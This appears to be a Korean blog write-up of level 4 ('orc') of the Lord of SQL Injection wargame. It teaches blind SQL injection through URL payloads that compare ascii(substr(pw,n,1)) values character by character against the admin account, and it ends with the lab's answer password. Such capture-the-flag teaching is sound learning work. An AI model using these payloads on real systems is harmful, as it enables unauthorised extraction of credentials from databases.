사이트 주소 : https://los.rubiya.kr/
4번 문제 orc 입니다.
[문제 접근]
query를 보면 id는 admin으로 고정되어 있고, pw 파라미터를 입력받고 있습니다.
소스코드를 보면 pw 를 맞춰야 문제가 풀릴 것 같네요.
블라인드 인젝션을 통해 pw를 알아내보겠습니다.
참고로 블라인드 인젝션은 결과가 참일 때와 거짓일 때가 다르게 나타나는 포인트를 찾아 한 글자씩 db명이나 테이블명, 컬럼명, ID, PW를 알아낼 때 사용할 수 있습니다.
우선 참과 거짓에 따라 다르게 나오는 포인트를 찾아봅니다.
?pw='||1=1%23
위 쿼리를 날리면 참일 때는 Hello admin이라는 문구가 출력되고,
?pw='||1=2%23
위 쿼리를 날리면 거짓일 때는 문구가 출력이 되지 않습니다.
이 차이를 이용하여 PW를 알아내겠습니다.
substr 함수는 블라인드 인젝션에 많이 사용됩니다. substr(a, b, c)라 하면 a문자열을 b부터 c개만큼 잘라 나타내기 떄문에 substr(pw, 1, 1)하면 pw 문자열을 첫 번째부터 1개 문자열을 가져오게 됩니다.
그리고 ascii 함수는 문자를 ascii 코드로 변환합니다. 이 함수를 쓰는 이유는 크고 작다는 > < 연산을 사용하기 위해서 입니다. 숫자로 변환해야 계산이 편하겠죠.
아래 두 경우를 보면, >를 할 때와 <를 할 때 모두 Hello admin이 나옵니다. 뭔가 이상한 거죠. 하나는 참 하나는 거짓으로 결과가 나와야 하는데요. 그 이유는 admin 계정이 아닌 다른 계정도 있기 때문에 누구의 pw를 찾을지 지정해주지 않았기 때문입니다.
?pw='||ascii(substr(pw, 1, 1))>50%23
?pw='||ascii(substr(pw, 1, 1))<50%23
그럼 id를 admin으로 고정하겠습니다. 아래와 같이 하면 되겠죠.
?pw='||id='admin' and ascii(substr(pw, 1, 1))<50%23
이제 admin이라는 계정의 pw를 알아내기 위한 쿼리가 완성되었습니다.
이제는 하나씩 하나씩 공들여서 해보겠습니다.
대략 반반 나눠서 해보면서 값을 찾아봅니다.
딱 1글자만 같이 해보겠습니다.
?pw='||id='admin' and ascii(substr(pw, 1, 1))<30%23
거짓
?pw='||id='admin' and ascii(substr(pw, 1, 1))<40%23
거짓
?pw='||id='admin' and ascii(substr(pw, 1, 1))<45%23
거짓
?pw='||id='admin' and ascii(substr(pw, 1, 1))<48%23
거짓
?pw='||id='admin' and ascii(substr(pw, 1, 1))<49%23
참
그럼 pw의 첫 글자는 ascii코드가 48인 것으로 찾았습니다. ascii 표에서 확인하면, pw 첫 글자는 0 입니다.
아래와 같이 확인 해볼 수 있겠죠.
?pw='||id='admin' and substr(pw, 1, 1)='0'%23
다음 숫자를 알아보려면 아래와 같은 쿼리를 구성하면 됩니다. substr의 시작 값을 2로 바꾸는거죠.
?pw='||id='admin' and ascii(substr(pw, 2, 1))<100%23
과정이 길기 때문에 생략하겠습니다. 위 첫 글자를 알아낼 때 처럼 반복하면 됩니다.
두번째 pw ascii 57 -> 9
세번째 pw ascii 53 -> 5
네번째 pw ascii 97 -> a
다섯번째 pw ascii 57 -> 9
여섯번째 pw ascii 56 -> 8
일곱번째 pw ascii 53 -> 5
여덟번째 pw ascii 50 -> 2
이제 이렇게 8글자까지 알아냈습니다.
그리고 9번 째 글자의 ascii는 아래와 같이 0으로 나오네요
ascii 코드 0을 보면 null값입니다. 이 것을 보아 pw는 8글자라는 것을 알 수 있습니다.
(사실 substr을 사용하기 전에 length 함수로 pw 길이를 먼저 체크해야합니다. 이 방법은 다음 문제에서 하겠습니다.)
[문제 정답]
정답 : ?pw=095a9852
"ORC Clear!" 가 나타납니다. 정답!
다음 스테이지로 넘어가시죠~
블라인드 인젝션을 사용하는 방법으로 참과 거짓에 따라 다른 페이지가 나오는 포인트를 찾고
그 참, 거짓 값에 substr과 ascii 함수 그리고 <, >, = 연산을 사용하여 pw 값을 알아내는 것을 실습했습니다.
[Lord of SQL Injection] darkelf 6번 풀이 (0) | 2020.07.06 |
---|---|
[Lord of SQL Injection] wolfman 5번 풀이 (0) | 2020.07.06 |
[Lord of SQL Injection] goblin 3번 풀이 (0) | 2020.07.06 |
[Lord of SQL Injection] cobolt 2번 풀이 (0) | 2020.07.06 |
[Lord of SQL Injection] gremlin 1번 풀이 (0) | 2020.07.06 |
댓글 영역